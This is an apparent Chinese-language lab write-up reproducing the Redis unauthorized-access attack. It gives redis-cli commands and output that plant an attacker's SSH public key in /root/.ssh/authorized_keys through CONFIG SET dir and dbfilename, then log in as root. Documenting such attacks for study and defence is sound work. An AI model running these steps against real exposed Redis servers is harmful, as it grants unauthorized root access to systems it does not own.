exploits

漏洞利用复现篇

Redis 未授权访问漏洞

0x00 简介
Redis是一个NoSQL的数据库(NoSQl泛指非关系型的数据库,常用的mysql是关系型数据库),数据通过键/值对存储在内存中,如果将 Redis 绑定在 0.0.0.0:6379,会将Redis服务暴露到公网上,如果在没有开启认证的情况下,可以导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,如果运行 redis 的用户是 root 用户,攻击者可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以直接登录目标服务器。

0x01 环境搭建

目标 192.168.31.91
攻击机kail 192.168.31.232

安装Redis

  1. 测试机安装完成后打开redis.conf文件,注释掉 bind 127.0.0.1,使得Redis服务暴露到公网上。

  2. 测试机连接Redis-cli,将protected-mode设置为no,使得Redis服务能被远程访问操作。

1
2
3
4
5
6
7
8
127.0.0.1:6379> config get protected-mode
1) "protected-mode"
2) "yes"
127.0.0.1:6379> config set protected-mode no
OK
127.0.0.1:6379> config get protected-mode
1) "protected-mode"
2) "no"

0x02 利用方式

  1. 在攻击机生成一对 ssh key (如果已经生成过则可跳过此步骤)
    1
    $ ssh-keygen -t rsa

默认情况下,生成在用户的家目录下的 .ssh 目录下

2.将生成的公钥的值写入目标服务器

1
2
$ (echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
$ cat /tmp/foo.txt | redis-cli -h 192.168.31.91 -p 6379 -x set payload

加上 \n\n 是为了不破坏 ssh public key
payload 是设置的 key,可随意指定

3.连接目标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:/tmp# redis-cli -h 192.168.31.91 -p 6379
192.168.31.91:6379> CONFIG GET dir
1) "dir"
2) "/root"
192.168.31.91:6379> CONFIG sET dir /root/.ssh/
OK
192.168.31.91:6379> CONFIG GET dir
1) "dir"
2) "/root/.ssh"
192.168.31.91:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "dump.rdb"
192.168.31.91:6379> CONFIG sET dbfilename "authorized_keys"
OK
192.168.31.91:6379> save
OK

将目录设置为 /root/.ssh/ 目录后,再将备份文件名设置为 authorized_keys,通过 save 指令即可写入文件,利用完后将原来路径设置回去,删除payload。

4.通过ssh连接目标

1
root@kali:~/# ssh root@192.168.31.91 -i ~/.ssh/id_rsa

默认会使用 id_rsa ,如果改过文件名则可以用 -i 参数来指定私钥。

穷困潦倒的安全工作者,如果文章对您有所帮助,可以选择性打赏。